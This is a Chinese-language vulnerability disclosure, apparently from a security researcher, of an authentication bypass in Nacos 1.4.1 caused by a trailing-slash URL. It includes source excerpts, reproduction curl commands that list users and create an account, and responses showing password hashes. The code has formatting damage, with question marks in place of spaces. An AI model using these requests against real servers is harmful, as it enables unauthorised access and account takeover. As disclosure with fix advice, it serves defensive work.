好，我是threedr3am，我發(fā)現(xiàn)nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復機制，依然存在繞過問題，在nacos開啟了serverIdentity的自定義key-value鑒權(quán)后，通過特殊的url構(gòu)造，依然能繞過限制訪問任何http接口。

通過查看該功能，需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false，才能避免User-Agent: Nacos-Server繞過鑒權(quán)的安全問題。

但在開啟該機制后，我從代碼中發(fā)現(xiàn)，任然可以在某種情況下繞過，使之失效，調(diào)用任何接口，通過該漏洞，我可以繞過鑒權(quán)，做到：

調(diào)用添加用戶接口，添加新用戶（POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test）,然后使用新添加的用戶登錄console，訪問、修改、添加數(shù)據(jù)。

一、漏洞詳情

問題主要出現(xiàn)在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public?class?AuthFilter?implements?Filter?{

????@Autowired
????private?AuthConfigs?authConfigs;

????@Autowired
????private?AuthManager?authManager;

????@Autowired
????private?ControllerMethodsCache?methodsCache;

????private?Map?parserInstance?=?new?ConcurrentHashMap<>();

????@Override
????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
????????????throws?IOException,?ServletException?{

????????if?(!authConfigs.isAuthEnabled())?{
????????????chain.doFilter(request,?response);
????????????return;
????????}

????????HttpServletRequest?req?=?(HttpServletRequest)?request;
????????HttpServletResponse?resp?=?(HttpServletResponse)?response;

????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
????????????String?userAgent?=?WebUtils.getUserAgent(req);
????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}
????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}
????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
????????????????????req.getRemoteHost());
????????}?else?{
????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
????????????return;
????????}

????????try?{

????????????Method?method?=?methodsCache.getMethod(req);

????????????if?(method?==?null)?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}

????????????...鑒權(quán)代碼

????????}
????????...
????}
????...
}

可以看到，上面三個if else分支：

第一個是authConfigs.isEnableUserAgentAuthWhite()，它默認值為true，當值為true時，會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server，若匹配，則跳過后續(xù)所有邏輯，執(zhí)行chain.doFilter(request, response);

第二個是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())，也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復

第三個是，當前面兩個條件都不符合時，對請求直接作出拒絕訪問的響應

問題出現(xiàn)在第二個分支，可以看到，當nacos的開發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false，開啟該key-value簡單鑒權(quán)機制后，會根據(jù)開發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個value，去跟開發(fā)者配置的nacos.core.auth.server.identity.value進行匹配，若不匹配，則不進入分支執(zhí)行：

if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
????chain.doFilter(request,?response);
????return;
}

但問題恰恰就出在這里，這里的邏輯理應是在不匹配時，直接返回拒絕訪問，而實際上并沒有這樣做，這就讓我們后續(xù)去繞過提供了條件。

再往下看，代碼來到：

Method?method?=?methodsCache.getMethod(req);

if?(method?==?null)?{
????chain.doFilter(request,?response);
????return;
}

...鑒權(quán)代碼

可以看到，這里有一個判斷method == null，只要滿足這個條件，就不會走到后續(xù)的鑒權(quán)代碼。

通過查看methodsCache.getMethod(req)代碼實現(xiàn)，我發(fā)現(xiàn)了一個方法，可以使之返回的method為null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public?Method?getMethod(HttpServletRequest?request)?{
????String?path?=?getPath(request);
????if?(path?==?null)?{
????????return?null;
????}
????String?httpMethod?=?request.getMethod();
????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
????List?requestMappingInfos?=?urlLookup.get(urlKey);
????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
????????return?null;
????}
????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
????if?(CollectionUtils.isEmpty(matchedInfo))?{
????????return?null;
????}
????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
????if?(matchedInfo.size()?>?1)?{
????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
????????matchedInfo.sort(comparator);
????????bestMatch?=?matchedInfo.get(0);
????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
????????????throw?new?IllegalStateException(
????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
????????????????????????????+?secondBestMatch?+?"}");
????????}
????}
????return?methods.get(bestMatch);
}
private?String?getPath(HttpServletRequest?request)?{
????String?path?=?null;
????try?{
????????path?=?new?URI(request.getRequestURI()).getPath();
????}?catch?(URISyntaxException?e)?{
????????LOGGER.error("parse?request?to?path?error",?e);
????}
????return?path;
}

這個代碼里面，可以很明確的看到，method值的返回，取決于

String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
List?requestMappingInfos?=?urlLookup.get(urlKey);

urlKey這個key，是否能從urlLookup這個ConcurrentHashMap中獲取到映射值

而urlKey的組成中，存在著path這一部分，而這一部分的生成，恰恰存在著問題，它是通過如下方式獲得的：

new?URI(request.getRequestURI()).getPath()

一個正常的訪問，比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'，得到的path將會是/nacos/v1/auth/users，而通過特殊構(gòu)造的url，比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is，得到的path將會是/nacos/v1/auth/users/

通過該方式，將能控制該path多一個末尾的斜桿'/'，導致從urlLookup這個ConcurrentHashMap中獲取不到method，為什么呢，因為nacos基本全部的RequestMapping都沒有以斜桿'/'結(jié)尾，只有非斜桿'/'結(jié)尾的RequestMapping存在并存入了urlLookup這個ConcurrentHashMap，那么，最外層的method == null條件將能滿足，從而，繞過該鑒權(quán)機制。

二、漏洞影響范圍

影響范圍：1.4.1

三、漏洞復現(xiàn)

訪問用戶列表接口

curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到，繞過了鑒權(quán)，返回了用戶列表數(shù)據(jù)

{
????"totalCount":?1,
????"pageNumber":?1,
????"pagesAvailable":?1,
????"pageItems":?[
????????{
????????????"username":?"nacos",
????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
????????}
????]
}

添加新用戶

curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到，繞過了鑒權(quán)，添加了新用戶

{
????"code":200,
????"message":"create?user?ok!",
????"data":null
}

再次查看用戶列表

curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到，返回的用戶列表數(shù)據(jù)中，多了一個我們通過繞過鑒權(quán)創(chuàng)建的新用戶

{
????"totalCount":?2,
????"pageNumber":?1,
????"pagesAvailable":?1,
????"pageItems":?[
????????{
????????????"username":?"nacos",
????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
????????},
????????{
????????????"username":?"test",
????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
????????}
????]
}

訪問首頁http://127.0.0.1:8848/nacos/，登錄新賬號，可以做任何事情

regards, threedr3am

三、修復建議

2021年1月14日 Nacos 1.4.1剛發(fā)布，會直接在1.4.1進行hotfix。

請用戶直接下載最新的1.4.1版本進行部署升級。

https://github.com/alibaba/nacos/releases/tag/1.4.1

BugFix

-[#4701] Fix bypass authentication(identity) problem.

https://github.com/alibaba/nacos/issues/4701

阿里 Nacos 驚爆，安全漏洞以繞過身份驗證（附修復建議）

一、漏洞詳情

二、漏洞影響范圍

三、漏洞復現(xiàn)

三、 修復建議

BugFix

三、修復建議